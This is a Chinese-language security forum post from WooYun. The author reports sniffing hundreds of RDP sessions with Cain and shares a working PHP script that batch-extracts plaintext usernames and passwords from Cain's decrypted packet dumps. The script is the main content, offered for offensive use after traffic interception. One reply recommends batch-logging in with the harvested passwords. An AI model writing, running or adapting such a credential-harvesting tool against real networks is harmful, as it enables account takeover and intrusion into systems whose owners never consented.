当前位置:WooYun(白帽子技术社区) >> 渗透测试 >> Cain嗅探到的RDP包批量解析为用户名+密码的php脚本

Cain嗅探到的RDP包批量解析为用户名+密码的php脚本

Wdot | 2013-01-26 22:19

昨天晚上开始嗅探,好家伙好几百个包,网上搜了一下有一款工具叫“Cain RDP Parser”,好家伙,一个一个选,玩死人的。。。索性写了个PHP脚本来批量解析。凑合着用。

CainRdpParser.png

<?php
//Author Wdot
//Site:http://wdot.cc
//用法 php CainRdpParser.php /tmp/1.txt  #单个文件解析
//用法 php CainRdpParser.php /tmp/RDP/  #批量解析
error_reporting(E_ERROR);
if(is_dir($argv[1]))
{
  foreach (scandir($argv[1]) as $key => $value) {
    if($value!='.' && $value!='..')
    {
      rdpParser($argv[1].$value);
    }
  }
}elseif(is_file($argv[1]))
{
  rdpParser($argv[1]);
}

function rdpParser($filename){
  $crlf = "\r\n";
  if(!file_exists($filename)){
    print "file \"$filename\" not exists...$crlf";
    return;
  }
  $rdpH=fopen($filename,'r');
  print "FILE:".basename($filename).$crlf;
  fseek($rdpH,0);
  while (!feof($rdpH)) {
    $line=trim(fgets($rdpH));
    if(preg_match("/\w+.address:.*?$/",$line,$m))
    {
      print $line.$crlf;
    }
    if(preg_match("/^\[Client decrypted packet\]/",$line,$m))
    {
      $packet='';
      while (!empty($line)) {
        $line=trim(fgets($rdpH));
        $packet.=substr($line,5,48);
      }
      $packets=explode('0000000000',str_replace(' ', '', $packet));
      $i=count($packets)-27;
      $packets=explode('0000',$packets[$i]);
      $times=0;
      foreach ($packets as $key => $value) {
        if(empty($value) || $times>=2)continue;
        print (($times==0)?'username':'password').":\t".pack('H*',$value).$crlf;
        $times++;
        
      }
      break;
    }
  }
  fclose($rdpH);
  print "-------------------------------$crlf";
}
?>

分享到:
  1. 1#
    回复此人 感谢
    楼上是马甲 | 2013-01-26 22:23

    不错

  2. 2#
    回复此人 感谢
    hqdvista (...) | 2013-01-27 00:30

    话说cain解密RDP的场景只能用在win2003及之前采用的协议吧?

  3. 3#
    回复此人 感谢
    z7y (小胖子首席鉴黄师) | 2013-01-27 13:35

    为表达对楼主的感谢之情。。1WB已送上,请查收!

  4. 4#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2013-01-27 13:37

    嗅探出一堆猜解弱口令的就杯具了。

  5. 5#
    回复此人 感谢
    Wdot | 2013-01-27 21:20

    @z7y 感谢,哈哈

  6. 6#
    回复此人 感谢
    Wdot | 2013-01-27 21:21

    @hqdvista 嗯,后面版本的加什么什么加密的。话说现在我碰到的有些域控还是win2k的机子。。。

  7. 7#
    回复此人 感谢
    廷廷 (想法最重要) | 2013-04-21 06:33

    看不懂。。。惭愧

  8. 8#
    回复此人 感谢
    whirlwind (别打开http://198.15.216.171/) | 2013-10-15 00:03

    你这个什么版本CAIN出来的?

  9. 9#
    回复此人 感谢
    Blacker | 2014-05-26 12:15

    把密码整理出来 然后自己再用工具批量登陆

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录